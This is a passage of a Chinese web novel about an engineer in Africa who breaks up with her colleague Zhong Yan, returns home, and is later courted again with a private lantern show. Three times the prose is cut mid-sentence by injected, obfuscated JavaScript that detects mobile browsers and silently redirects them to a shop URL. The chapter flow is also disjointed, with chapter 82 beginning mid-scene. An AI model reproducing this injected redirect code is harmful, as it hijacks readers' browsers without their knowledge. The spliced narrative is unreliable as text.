“我说……哦,不用了,我现在收到了。”沈时因点开邮件,将数据拷贝进软件模型里,“你忙你的吧,刚才可能是因为在外面网络不好。” 沈时因埋头苦算了一个多小时,等她终于暂时结束手头上的工作,她坐起身伸了个懒腰,发现胡定荣还是伏案工作的状态,神情也有些凝重。 “你在做什么,要不要我帮忙?”沈时因探出头问。 胡定荣摘下耳机,有些不好意思地说:“我在剪视频,张工让我剪一个气氛热烈、纸醉金迷的视频出来放在官网上,这样就能吸引更多人来非洲。” 沈时因扫了一眼屏幕上的影像,张士明正站在台上开香槟,背景是飘扬的礼炮彩排,饭桌上也全是大鱼大肉。沈时因来了非洲三年,这种场合拢共也就经历过这一次,虽然看上去是奢华,但这跟真实的非洲生活简直是两模两样。 沈时因不禁说:“这个张工……要是真有人冲着这个宣传视频来了,下了飞机才发现受骗,不得马上飞回国?” 胡定荣挠了挠头,“反正张工就是这个要求,他说大家都把非洲想象得太艰苦了,要把好的一面展现出来。不管怎么样,先把人骗过来再说。” “那你剪得还顺利吗,”沈时因说:“还是别花太多时间了。大桥的主体结构虽然完工了,但后续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296418|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的铺装和维护还需要我们盯着。” “快了快了,”胡定荣拉着下方的调节轨道说:“我可终于知道为什么当年王导那么青睐钟琂了,每次他出现的画面最好看和谐,所以我打算多剪辑一些有他出现的情景,再加点激昂的音乐。你看,这样是不是就显得特别运筹帷幄?” 沈时因把椅子搬过去坐到旁边,胡定荣按下播放按钮,屏幕上钟琂正发完言从台上走下来,配乐气势恢弘,每一步还都踩上点了,仿佛他走的不是红地毯而是要上阵杀敌。 沈时因笑得不行,“这会不会太夸张了?” “还好吧,有时候就得夸张一点,这样才容易出圈。不过配乐确实不好找,有时候好不容易找到一首合适的又没版权。”胡定荣侧着脸问:“沈工,你平时不是挺爱听歌的吗,有没有什么音乐推荐?” 沈时因点开手机里的播放软件,“有一些纯音乐应该挺合适的。其实我觉得不用搞得那么盛大,走温馨感人的路线也可以,打一点感情牌?” “太可以了,那我先把这些音乐拷进来,再剪辑一些适配的片段。” 胡定荣手里操作着,屏幕上就又出现了很多钟琂的定格画面。 “你看,这一段是我在拍大家相谈甚欢、一堂和气的吃饭场景。本来是一个远景,然后突然拉近,落在每一个人的笑脸上,是不是很好看?春晚也是这个拍摄手法。” 沈时因连连点头,“确实不错,没想到你还挺擅长摄影。” 胡定荣递了一只耳机给沈时因,“那我先给你听一遍没加音乐的……” 沈时因手里还按着耳机,下一秒,钟琂的声音就这样猝不及防地响了起来——“我当然还是喜欢美国女孩了。” “我当然还是喜欢美国女孩了。” 沈时因浑身的血液在听见这句话的一瞬间都凝固了,这是钟琂的声音,她很清楚。许多个夜晚附在她耳边发出低喘再一遍遍叫她名字的那道声音,这不会有错。 声音透过耳机,再穿过耳膜,它变得有了实形,就像一块巨石、一把尖刀,狠狠砸进了沈时因的心里。 胡定荣对身边骤然僵立的沈时因毫无察觉,他继续拉着进度条说:“然后配上音乐再听一遍,是不是马上就有那味了?不过我还选了好几首,选好以后做结尾,还能在屏幕上加一些煽情的话,你觉得……” 胡定荣一回头才发现沈时因已经摘下了耳机,正满脸凄楚地望着剪辑画面出神。 “沈工?”胡定荣小声叫她。 沈时因恍若未闻,整个人都像被抽走了魂魄一样,一动不动。 “你是不是觉得太繁琐了,那我自己剪剩下的吧。我保证今天绝对完成任务,以后再也不拿工作时间干这些。” 胡定荣不由得紧张起来,沈时因也终于有了动作,她缓缓抬起一只手,指着先前那一段画面说:“他刚才为什么突然要说那句话?” “不太清楚,可能想让人给他介绍女朋友吧。把自己的要求说具体点,这样也好找嘛,正好很多同事都有海外留学的经历……沈工,你怎么了?” 胡定荣眼睁睁看着忽然站起来的沈时因,赶紧上前扶了一下,“你没事吧,怎么手这么凉?” “我没事,就是有点头晕,可能低血糖了。”沈时因扶着墙往外走,找到自己的包,从里面找出好多巧克力,撕开包装往嘴里塞。 胡定荣还在忧心忡忡地看着她,沈时因勉强抿起唇,挤出个笑脸,囫囵着说:“我吃点甜的就好了,你忙你的,不用管我。” 81.第 81 章 沈时因走出办公区,她不想回楼上的小房间,也不想回园区,不论去哪里都有可能碰到钟琂。她现在只想去一个与世隔绝、没有任何人能找到她的地方。 沈时因走到海边,找了艘离得最近的小船坐上去,她先是随着海浪飘来荡去,后来担心飘得太远,索性驾船到桥墩旁边,抬步走到了升降台上。 她位于大海的中间,离两边的沙滩和海岸都很远,她把升降台升到最高,最后扶着栏杆坐下。 周围暮下四合,她悬空的双脚下方是波涛汹涌的海面,海风吹起她的发丝,或许还吹干了她的眼泪。如果要把世界上最孤独的地方做成一个排行榜,那么沈时因此刻正坐着的地方绝对能稳居第一。 随着时间的推移,天色变得很黑,海水也从蓝色变成了极黑极凶险的深色,里面仿佛蕴含着一个宇宙。 有巡航的船只过来,开船的师傅抬着头喊:“小姑娘,快涨潮了!” “已经做过涨潮测试了,这里很安全。”沈时因挥了挥手说:“我一会儿就回去。” 师傅见桥墩旁边还拴着一条船,还以为沈时因是在等着记录什么数据,于是开着船晃晃悠悠地往前巡逻了。 桥墩旁的那艘船不仅能载着她回到岸上,船舱内部还有很多罐头和水,足以支撑一个成年人生活两个月,沈时因甚至有一种冲动,就算她现在要开着船去流浪,也没人拦得住她。 原来失望会堆叠。沈时因已经记不清自己是第几次对钟琂这个人、对这段感情而感到失望。 沈时因拿出手机,里面有几个来自钟琂的未接来电,大概又要问她今天回不回去、住在哪里、他能不能过来之类的问题。那么她要去见钟琂,再被他的“糖衣炮弹”轰炸一番,最后稀里糊涂地和好吗? 沈时因很确定她不想这样,她的一再退让根本换不回该有的理解与重视。她以前总是害怕与钟琂发生争吵,担心事态不受控制,进而走向分手的结局——可是现在,沈时因开始第一次认真考虑分手这件事了。 沈时因编辑了一条短信发过去,大致是说自己还有事情没做完,今天就不一起睡了。 放下手机,她从包里找出最后一颗糖,撕开包装放进嘴里。她从小就很爱吃甜食,可惜要等到长大了才能明白,再多的甜也化解不了心里的苦。 等最后一点甜味也消失在嘴里的时候,沈时因好像也想清楚了很多事。她和钟琂或许从一开始就是个错误,她从来只把这一段外派经历当成人生中的插曲,那么身处非洲的钟琂也理应只是一个过客。 他们的成长经历有很大不同,她有家庭责任,钟琂则更自由,从不为世俗凡尘所牵绊。就算他哪天真的对这一切厌倦了,那也会回到美国和自己的家人朋友团聚,到时候如果要考虑进入人生的下一阶段,那他当然也会更倾向于与他有着同样成长背景的女孩。 出门在外,谁不是玩玩呢,就像沈时因也从来没想过真的能和他走到最后一样。 沈时因忽然觉得很可笑,在一起的两年里,他从来没有替两人的未来想过。现在他有想安定下来的念头了,于是就说出了与沈时因截然不同的择偶标准来。 钟琂总是能毫不顾虑地表达诉求,他在职场上我行我素,在感情上也只会有自己的步调。当他一心往前走时,所有人都会被抛下,这其中也包括沈时因。 他不会为了任何人改变。 下去之前,沈时因仰起脸,最后看了一次非洲的月亮。月光皎洁明亮,光辉映照在海面上,折射出粼粼波光,沈时因想起了外婆,她此刻会不会因为思念自己而睡不着,正抬起头望着这同一轮弯月呢? 早在十岁那年,她明明就已经下定决心了啊。她不要再做抛弃的那个人。 沈时因很晚才回到生活区,和衣睡了一觉,其实也没怎么睡着。眼睛总发涩,心里也是,她在后半夜去食堂冰柜里拿了冰块冷敷,等双眼终于消肿了,天也亮了。 整个世界渐渐苏醒,耳边也变得嘈杂喧闹。沈时因洗完脸,抹了些防晒霜,化了个妆才下楼。 她先去看了大桥的铺装情况,混凝土经过养护和放置之后强度已经达到了标准,沈时因对照自己先前画的受力分布图,依次对腹杆的变形程度做了核对检查。 变形数值基本都可以忽略不计,沈时因放下了心,她回到办公区,将电脑里关于后期路面和侧栏的力学性能要求全都放进一个文件夹,打包发给了胡定荣。 胡定荣中午的时候找到沈时因,“沈工,你怎么突然给我发这么多文件?” “后面都是些零零碎碎的活儿了,定期去看看就行。比对文档里的数值范围,超过了记得上报。”沈时因笑眯眯地说:“我怕我有时候顾不上。” 作别胡定荣,沈时因来到四层,也就是自己的临时居所里。这个房间里没放太多东西,除了几件换洗的衣服就是洗漱用品,一个塑料袋就能全部打包拎起。 离开之前,沈时因有种自己正在“交代后事”的错觉。 驱车回到园区,沈时因径直来到了张士明的办公室。 她坐在张士明对面,很开门见山地问:“如果我现在申请调回国内,那可以得到的保障有哪些?” “啊,你要走?”张士明的第一反应自然是痛心疾首,好好的一员大将怎么又要走了呢。 沈时因的两只手交叠在一起,放在膝盖,她垂眸说:“其实后续的桥面系工作已经不太需要我了。” 张士明眉间的郁结更深,他本来还想好好栽培沈时因,可她要是铁了心要走自己也拦不住。他叹了口气,还是调出了沈时因的档案,“就跟之前谈好的一样。你都外派三年了,职位肯定有升迁,补贴也是六位数。” “那……这个项目能计入我的绩效考核吧?”沈时因说:“我不想等到正式交付的那天了。” 张士明又是一愣:“你这么急?” “对,我希望能快点。” “可申请交上去总得有流程吧,我先把你的名字报上去,再按手续……” “我可以先回去,流程上的事再慢慢等。”沈时因说:“我用自己的钱买机票,申请通过之后再去财务报销。我就想马上走。” 张士明摆出一副知心大哥的模样,柔声问:“遇到什么困难了,还是情绪上有什么想不开的?” 沈时因一个劲地摇头,“没有,我就是觉得如果现在不走,那我永远都走不了了。这个项目结束了会有下一个,下一个项目结束又会有下下个,我有一万个该留下的理由,但我必须抓住内心深处那一点最微小的声音,逼自己一把。” 沈时因太坚定了,她这副归心似箭的样子将张士明满腹劝留的话语全给堵了回去。走出办公室,她回到宿舍买机票,最近的一趟航班是明天,正好还有余票,她动了动手指,很快就出了票。 沈时因把额头抵在桌上,很久都没有回过神来。她还能清晰地记得那只壁虎爬过的位置、钟琂替她整理书桌时手指拂过的样子和他买回蛋糕,他们在这张桌上过生日的情景。 她已经把该做的事情都做完了,只剩下最艰难的部分。沈时因用双手捂住脸,忽然不知道应该如何面对钟琂。她已经没有退路了。 最后还是磨蹭到了晚上,沈时因把行李箱都收拾得差不多了,已经到了不能再拖的地步。 沈时因走进办公楼的电梯,摁下顶层按钮。这也是她第一次见到钟琂的地方,可不管那次还是这次,她的心情都异常沉重。随着数字的不断增加跳动,沈时因甚至想做个逃兵,干脆直接飞回国,等到了国内再发条短信通知他好了。 可最终沈时因还是站在了那道门前。门后灯火通明,隐隐还有键盘和鼠标的声音,沈时因看了眼时间,刚过九点,钟琂就是这样数年如一日地在这里工作到深夜。 当沈时因推开门出现在钟琂面前时,他脸上很明显地浮现了惊喜,笑着问:“你怎么来了?” 沈时因没说话,而是转身关上了门。整栋楼就只剩他们两个人,其实没什么关门的必要。 再回过身,钟琂已经从工作中抽身,很明显地放松了些,整个人往后靠在了椅背上。沈时因听见他低声说:“你过来。” 钟琂语调暗哑,仿佛蕴藏了很多含义。沈时因知道他又想叫自己过去坐在他腿上,但她没动,而是坐在了靠近门口的沙发,这离钟琂有一定的距离。 钟琂合上了电脑,沈时因避开他的视线,望着窗帘的一角说:“我找你有点事。” “什么事?” “我……”沈时因嘴唇嗫嚅,话到嘴边了反而怎么也说不出口。 “你想了解电视塔的规划?我还在做初步的构想,目前有好几个想法都不错,你有空可以帮我看看。大桥快交付了,我应该能申请到比较长的休假,正好入春了,天气也好,窗户外面的木棉花……” “我想分手。” 沈时因用了很大的力气才说出这句话,钟琂陡然沉默了下来,楼里本来就没人了,此时更显得寂静无声。 钟琂开始用一种迷惑不解的目光看着她,这不是会经常在他脸上出现的眼神。沈时因以为他没听清,于是又说了一遍:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306662|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想跟你分手。” 钟琂还是觉得沈时因在跟他开玩笑,“出什么事了?今天是愚人节?” “不是。”真正说出口以后沈时因才真正拥有了巨大的勇气,她开始直视钟琂的眼睛,“这是我经过深思熟虑之后决定的。” 钟琂从座椅上站了起来,走到沈时因的面前,“可你为什么要突然说这种话,我们不是还说好了要一起回国吗?” “我会一个人回去,”沈时因说:“不管是外婆的身体还是梁冉的婚礼都跟你没关系了。” “所以你现在又在说要回国的事?你打算一走了之,抛下我和非洲,再也不回来了?”钟琂终于意识到事情的严重性,“可张工在开电视塔的前瞻会议时你没说不参加,海滨公园也还没修好……” “我就是不回来了,我对什么海滨公园和电视塔都没兴趣。”沈时因说:“喜欢非洲的人是你,不是我,你不要把自己的理想强加在我身上。” 钟琂都快被她绕晕了,“那你到底是要跟我分手,还是要离开非洲?这是两码事,你不要混为一谈了。” “在我这里就是同一件事,如果还要继续留在这里,那我就做不到泰然自若地跟你共事。” “那就不要分手啊!” 钟琂几乎是吼出这句话的,他逼视着沈时因,似乎想要从她脸上看出哪怕一点对自己的留恋。 沈时因没说“好”,也没说“不好”,她只是一味地沉默着,但身体明显出抗拒的姿态。就算她什么也没说,态度却依旧很坚决。 钟琂忽然俯下了身,想要去亲她。沈时因一时躲闪不及,被他亲到了一下嘴唇,但她很快站了起来,人也往后退了一步。 钟琂这时候反倒冷静了下来,再开口时的语气变得波澜不惊:“是不是在一起的时间太长,你厌烦我了?” “你可以这么认为。”沈时因沉着脸,不管不顾地说:“跟你在一起真的很累,你总是沉浸在你自己的世界里,对外界不闻不问。我们根本就不合适。” 钟琂默了一会儿,依旧看着她,“那你说说,我们哪里不合适。” “除了性生活还算和谐之外,其实方面都不合适吧。最开始的激情褪去过后,矛盾很快就显现出来了。” “那这么说,你早就受够我了?” 沈时因忽然有点不忍心了,“那也不能这么说……就是有时候会觉得没那么开心,明明躺在一起,却感觉离得很远。” “沈时因,你是我的女朋友,如果你对我的要求只有每天晚上一起睡觉,那你到底把我当什么?你不论有什么想法都应该告诉我,我会试着去理解你。” 沈时因点点头,“好,那我现在就想分手,希望你能理解。” 钟琂不再说话了,这在沈时因看来就是接受,也就意味着谈话结束。 “我要说的就是这些,那我走了。”说完,沈时因拉开房门,头也不回地往外走。 …… 这天晚上,钟琂在办公室坐了一夜,他反复回想沈时因说的那些话,似乎不管怎么想都毫无转圜的余地。面前的图纸就像一堆毫无规律的线条一样,根本看不进去,钟琂平生第一次出现了消极怠工的症状。 还不等他整理好心情,沈时因这个人也消失得无影无踪,他连她是哪趟航班、什么时候走的都不知道。她仿佛生怕被缠上一样,对他避之唯恐不及。 说不生气是假的,但气过之后又忍不住去想沈时因,总觉得她是哪根筋搭错了才闹着要分手,不过也有可能是他真的很难相处…… 更可怕的是,身边的所有人好像都在一夜之间接受了沈时因的离开,他们不再提起这个人,也可能快要忘记她。只有他一个人被困在了原地。 不久之后,张士明拿着一个文件袋走进钟琂的办公室,往他脸上扫了一眼才开口:“昨天又没睡好?” 钟琂没接他的话茬,“什么事?” “这是沈工走之前留下的文件,你先看看哪些还有用,其它的就可以放进档案室了。”张士明把厚厚的文件袋放在桌上,往前推了推,这才转身走了出去。 钟琂过了许久才拿过来拆开,里面有沈时因记录过的、详尽的工程结构报告。她对待工作一向用心,字也写得好看,每一页都按先后顺序排好,记载得详细准确。 忽然,钟琂的指腹隔着纸袋感受到一个硬物,他把纸张都抽出来,将文件袋倒过来,口朝下摇了摇。 有一个东西滚落了出来,沿着桌面骨碌碌滚了几圈。钟琂终于看清了,这是他在沈时因生日那天送给她的项链。 82.第 82 章 沈时因还坐在台阶上,钟琂也一直陪在她身边。她渐渐止住了哭,变得一言不发,眼睛和鼻尖都红红的。 不远处还在爆发激烈的争吵,沈时因能听见刘周平激昂的声音:“这一行本来就是男多女少,有几个男上司怎么了?那要照这么说,世界上除了男人就是女人,那干脆颁布法律禁止男女共事?” 沈时因感到一阵后怕,她对钟琂说:“其实以前曹光还私下给过我钱,园区里人多眼杂,如果刚好被人看见就能借此大做文章。” “那是补课费吧?你放心,没人有资格去调查你,事情也远远不到摸排证人的这一步。” 沈时因忽然又想起了另一件事,“还有,我昨天去了凌副总的办公室,我们共处一室了大概有……二十分钟。万一真要查起监控,我还在电梯里送给你桃子,这也说不清。” “我不会让人去查监控,你跟公司副总在工作场合谈事这也再正常不过了,不要担心。” 沈时因现在宛如惊弓之鸟,搜肠刮肚地想还有哪里没把握好分寸,她叹着气说:“其实我们以前还是露出了一些蛛丝马迹吧,不然赵广生怎么会那么气势汹汹地过来。” “他可能更多还是从我的反应推测出的,纪录片和认识汪宇才是这次事件的契机。” 最开始的情绪一过,沈时因渐渐平复了心情。她开始觉得饿了,站起身说:“那我去吃饭了,下午还要接着工作。” 钟琂也跟着她站起来,不太放心地看向她,“不行就请个假,我给你批。” “不要了,”沈时因摇摇头说:“这点事情打不倒我。” 沈时因去二楼餐厅买了饭,好多人都有意无意地看向她,她置若罔闻地提着餐盒回到楼上办公室。 沈时因此刻无比庆幸自己有一间独立的办公室,她留了一个门缝,以便随时观测外面的情况。赵广生已经被民警带走,他还在被拖行途中毁坏了公司的一台电脑,公司法务部将会以诽谤和妨碍公共秩序提起诉讼。下午,分公司的总经理也出现了,他采用的是视频连线的方式,占据了整个画面的人脸出现在会议室屏幕上。 作为相关人员,沈时因也走进了会议室,刚一落座,视频里那怨声载道的声音就传了出来。 据这位总经理说,方总工调过去之后没过多久就受不了高原气候,由于身体吃不消所以住进了医院养病,失去了“靠山”的赵广生还想把那一套混子作风继续发扬光大,可这下就踢到铁板了。 赵广生的遭遇包括但不限于:一群人去坟场做实地勘测,天黑以后大部队不小心“遗漏”了赵广生,又恰逢没信号,他在坟场等了大半夜,实在没办法只好自己走了一天一夜才下山;在挖山间隧道的时候要拆迁,村民不断抗议,赵广生被推了出去,被当地村民打得只剩半条命;还是在挖山间隧道,运土石方的时候赵广生没跟上队伍,在落单的情况下遭遇山体滑坡,一条腿被压在石头下面长达数小时才被人发现。 平心而论,这一行本来就充满危险,尤其是去那些还未得到开发的深山老林里。一些利润较大的分项还总少不了当地的恶势力来掺一脚,手段就更脏了。 屏幕里的人摊开手说:“谁让他做事总慢慢拖拖的,我们可没时间等他。这人也总有种天真感,觉得散几支烟、听他吹几句牛就能笼络人心了,当地村民可没那么好说话。” 凌志才挥了挥手说:“行了,你有你的行事方式,我们无意插手。这次就是了解情况,那就这样。” 挂断连线,沈时因继续回到自己的办公室做事。赵广生的事件还要做后续调查,他们的生活也还要继续。当天晚上,天气冷得仿佛置身于冰窖里,沈时因下班以后匆匆赶回家,把暖气调高了好几度。 第二天在公司,沈时因正抱着热水袋看电脑里的模型图,外面突然爆发了一阵嘈杂声。 沈时因现在对任何异状都胆战心惊,她站起身朝外张望,只见大家都兴奋地看着窗外,她也循着这些视线望出去,看见飘飘扬扬的雪花落下,鹅毛大雪将整个城市都铺着了一层白色,树木房屋都变得银装素裹。 对于这座南方城市而言,这么大的雪很少见。电视新闻里平稳的女声正在播报——天冷地滑,出行一定要注意安全,市政部门已经派出了清扫雪地车,如果有条件请给车辆轮胎加上防滑链…… 沈时因看着看着,忽然转过脸,往不远处的总经理办公室看去。隔着好几道不甚清晰的玻璃门,她看见了同样站在窗前的钟琂。与外面的热烈氛围不同,钟琂脸上没什么表情,只是静静看着纷飞的雪花,好像他就是世界上最孤独的人。 沈时因被这个想法吓了一跳,一个刚毕业就一意孤行、无比坚定要投身于非洲的人,怎么会跟孤独这个词产生联系? 此时站在窗前的钟琂的确说不上高兴。他想起了上一个冬天结束的时候,算算月份,他已经和沈时因分手快一年了…… 即使他从第一天就在后悔。 * 没过多久,赵广生的判罚结果出来了,他被派出所拘留了十五天。他想找被害人取得谅解,但沈时因坚决不和解,于是被判了六个月的有期徒刑。公司喜滋滋地开除了他,没付一分钱的赔偿款,再加上他在这个行业的名声已经臭了,这意味着他以后再也找不到工作。 公司加强了安保机制,对保安做了新一轮的培训,以后这种闲杂人等一律不许放进公司。沈时因所住的楼房电梯也正式投入使用,上下楼都需要刷卡,在她的积极促使之下,一层楼道也额外加设了一道门禁,这样整栋楼的安全性都提升了不少。 赵广生的出现就像做了一场噩梦,虽然让人心惊胆颤,但醒来之后的生活又会回到正轨。沈时因也一样,除了……除了钟琂开始认真追她了。 沈时因不论怎么想都觉得事情走向相当荒诞,钟琂像变了一个人似的开始对她嘘寒问暖。 有时候她工作太忙,错过了饭点,那么半小时以内她的办公桌上一定会出现一份摆盘精美的餐食。钟琂也在不遗余力地制造与沈时因单独相处的机会,她第一次知道原来这座城市有这么多的演出和音乐会,因为她总能收到票。更别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337744|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说还有个郑意成在从中掺和了,沈时因一到周末就知道一定会有餐厅和鲜花在等着她。 钟琂在做这些的时候完全没避着人,或许也恰是因为对沈时因的这份喜欢让他有了些活人气,与下属之间也不再那么有距离感了。 钟琂好几次来找沈时因的时候都遇到同事揶揄,对方总是笑着打趣他,“琂总,还没追到啊?” 钟琂也不觉得难堪,每次总会苦笑着点头:“还没追到,这可不是一件容易的事。” 沈时因很不理解他的这种行为,有一次说:“你不用这样,做做样子就行了,用不着真的追我。” 钟琂一脸坦荡,“可我就是想真的追你,反正我喜欢你这件事已经人尽皆知了。” 沈时因无奈地问:“那你不辞职了?” “公司对于这次事件的处理方式我很满意,所以我决定再给它一个机会。”钟琂顿了顿,乘胜追击地说:“如果有人对我最近的表现还算满意,那也可以考虑给我一个机会。” 不等沈时因开口,钟琂很识趣地说:“那你慢慢考虑,我先走了。” 他总是这样,这段时间虽然在追她,但跟“死皮赖脸”一点关系也没有,分寸把握得很适当得宜——在沈时因放松戒备的时候往前一步,在有些僭越的边缘适时退出,这是一个很舒服的距离。即便有时候单独相处,钟琂也很有绅士风度地从不与她有任何身体上的接触,有一次他伸手接过沈时因脱下的外套,也会很小心地没有触碰到她的手。 钟琂看上去是在很用心地想要和她重新开始。 周五下午,沈时因收拾起电脑准备下班,手机里收到一条来自钟琂的信息,让她去博物馆的现场一趟。 沈时因看了一眼外面将黑不黑的天,打字问道:【现在?】 钟琂说:【对,现在。】 博物馆的地基已经打完了,接下来就是主体结构的修建。沈时因不太放心地想,该不会基坑和沉井出什么问题了吧? 沈时因不敢再耽误,她开车来到公园的停车场,打算从内部穿行过去。 她刚一下车,四周忽然一亮,无数亮亮的灯串往前延展着,恰好指向公园深处,就像用光芒铺就了一条路。 沈时因没有多想,只觉得是公园装饰,大概刚好到了晚上该亮灯的时间。可是很快,她的面前出现了一头甩着鼻子的小象,这依旧是用灯带做出来的,小象的身躯和神情都栩栩如生,甩动的鼻子里应该安装了活动装置。 这太可爱了,沈时因一眼就认出了这是她当初在马赛马拉见过的那头小象。她放眼往前看去,蓊郁的树丛下方俨然已经成为了一个动物丛林,五光十色的光芒之下,许多野生动物被光亮点燃,有的还会眨眼。那只长颈鹿嘴里就叼着树枝,随着脸颊的动作像在咀嚼,沈时因走近一看发现它旁边还放着一张被纱帐笼罩的小床。 说来也怪,就算天气再冷公园里也常会有散步遛弯的人群,但她今天从停好车开始就没见到任何人。 沈时因忽然意识到,这是场只为她一个人准备的灯会。 83.第 83 章 许多年前的记忆顿时翻涌了上来,那个她等待一整个暑假也没能看成的灯会,此时就这样出现在她的眼前了。 当时还年纪尚小的沈时因第一次感受到屈辱、愤恨和酸楚,可现在,她整个人被惊喜吞没,它们正在覆盖掉曾经的不堪记忆。 沈时因挪动脚步,继续往前走去。横亘在她面前的是一条由光点组成的潺潺河流,里面有许多成群结队的角马,它们的马蹄朝前,呈现出激越迈进的状态。但这一次不会再有任何一个牺牲品了。 钟琂把他们曾经在非洲见过的每种动物都复刻了,世界上仅存两头的白犀牛也闲适地栖息在树下,仿佛无忧无虑地享受着日光与原野,不用担心自己的族群就快要灭绝。 沈时因还看见了“乞力马扎罗山”,它的山巅上有皑皑的白雪。沈时因走过去,伸手摸了一下,竟然是真雪。应该是初雪那天被收集和保存了下来,这几天气温一直很低,所以还没融化。 穿过“动物丛林”,沈时因来到了建筑群,首先出现的是哈利法塔,由于它太高,衬托得旁边那座非洲高塔很是矮小,沈时因左右看看,对比了一番,发现这两座塔的高度还是有一定差距。 前面还有他们一起修的信号塔群、公路和大桥。沈时因仔细看过去才发现这些都是按比例缩放的模型,真实度堪比一比一复刻。光是制作就要费很大的工夫,更别说还要安装彩灯和光带了。 公路最前方停了一辆缩小版的汽车,也是通体闪着彩色亮光。沈时因本来以为只是个造型,但她轻轻一碰,车门竟然开了,在播放音乐的按钮上写着几个大字:点我!点我! ……沈时因鬼使神差地伸手摁了一下,果然有音乐播放,还是那首《脸》,正好唱到:“来吧滋润我的沧海桑田……” 沈时因又摁了一下,音乐停止。她关上门,往灯会的出口走去。 钟琂还在角落调试灯串,等沈时因已经出现了,他才匆匆忙忙地挂上最后一截串带。 “你怎么过来得这么快……”钟琂语气有些埋怨,他走到电箱旁边,“我本来想模拟一片星空,结果刚才风太大,被吹掉了一串。” 对于钟琂这种完美主义来说,这种错误很不能容忍。沈时因说:“没关系的,你现在点亮也行。” 钟琂按下通电按钮,沈时因的头顶瞬间亮起了繁星点点,虽然数量很多,但都不是刺眼的灯光,而是悠悠的光芒,闪烁着微光,就像……他们当初在非洲看见的那样。 沈时因始终仰着头,手里忽然被人塞了一杯热茶,钟琂说:“晚上冷,你喝点热的。” 沈时因握住杯身,感受到从手心传来的暖流。钟琂带她走到了旁边的长椅坐下,这里正好能抬头仰望人造星空,旁边还放了些他提前准备好的烤红薯、热板栗和小蛋糕。 沈时因看得脖子都有点酸了,她拿了个热乎乎的红薯吃,问钟琂:“你准备了多久?” “一个多月吧,不过我不确定跟你小时候的那场灯会像不像。”钟琂说:“我让郑意成去问梁冉,她说那都多少年前的事了,早就忘了。” 大概只有沈时因才会把一个小小的灯会记这么多年。 沈时因说:“像不像一点也不重要,因为我想象中的就是这样。” “真的吗,你的作文里……写了这么多的动物和建筑?”钟琂问。 “真的。”沈时因也笑了起来,“当时也不知道灯会是什么样子的,只能根据日常生活瞎编。我先写了些楼房进去,发现字数不够,就想起之前去过的动物园,于是又写了斑马和狮子。之后果然被批评了,语文老师说灯会怎么可能有动物?” 钟琂摇着头说:“看来还是你们语文老师想象力不够丰富。” 时间其实已经很晚了,但他们谁也没说要走。沈时因都快舍不得眨眼了,“明天该不会就要被收走了吧?” “不会的,我跟公园谈好的时间是一周。所以你以后还可以来看,但从明天开始就不能清场了。” “那我哪天带外婆来看,”沈时因顿了顿,忽然问:“明天开始就要收门票了?” 钟琂笑着说:“不收费,随便看。” 沈时因吃完了手里的红薯,又端起旁边的小蛋糕吃。钟琂看她不想动,主动说:“非洲大桥下面的海滨公园也修好了,你想不想看看?” 沈时因说:“可以。” 钟琂拿出手机,从里面找到一个视频,点开以后递给沈时因。 沈时因本来以为他要给自己看官方航拍的宣传片,但视频开始播放了她才发现这是钟琂自己拿着相机去拍的。按照拍摄时间算,应该就是他最后一次回国之前去拍的。 画面上方,大桥上车水马龙,有小汽车也有大货车。在奔流不息的桥面下方,海滨公园里有很多正在休息游玩的人群。 除了当地人,画面里还出现了很多异国面孔,应该都是慕名而来的游客。其中不乏有小孩和老人,他们闲适地吹着海风、踩着沙滩,好像时间也变得很慢。 当镜头拉近到舞台上,沈时因看见很多马赛人穿着民族服饰,围在一起载歌载舞,富有节奏的音乐声打着节拍,每个人脸上都洋溢着笑容。 视频结束,沈时因把手机递过去,“这也跟我想象中的一样。” 钟琂说:“而且现在不会有海胆被冲上沙滩了,因为铺设了循环阶梯。” 沈时因由衷地感叹:“那真是太好了,不用手动放生。” 初春的夜晚很冷,钟琂把自己的外套脱下来披在了沈时因身上。沈时因看他穿得单薄,主动说:“今天还是先回去吧,反正还有一周可以看。” “那我送你。” “不用,我开了车。”沈时因说。这都算他们之间的保留节目了,沈时因每次都不让他送,但他每次都执意要送。 “那我就开车跟在后面,看你上了楼我再走。”钟琂说。 于是他们一前一后,各自开着车前往沈时因的住处。等她上了电梯、打开门回到家,走到防护栏前面一看,钟琂果然还没走。 沈时因挥了挥手,钟琂下了车,正靠在车旁边,也对她挥挥手。 由于夜深人静,沈时因不敢大声喧哗,只能做口型,她动作夸张地说:“你快走吧——我到家了!” * 接下来的几天,沈时因还去看了好几次灯会。由于离正在修建的博物馆很近,白天在旁边工作完,晚上就能顺道过来看看。 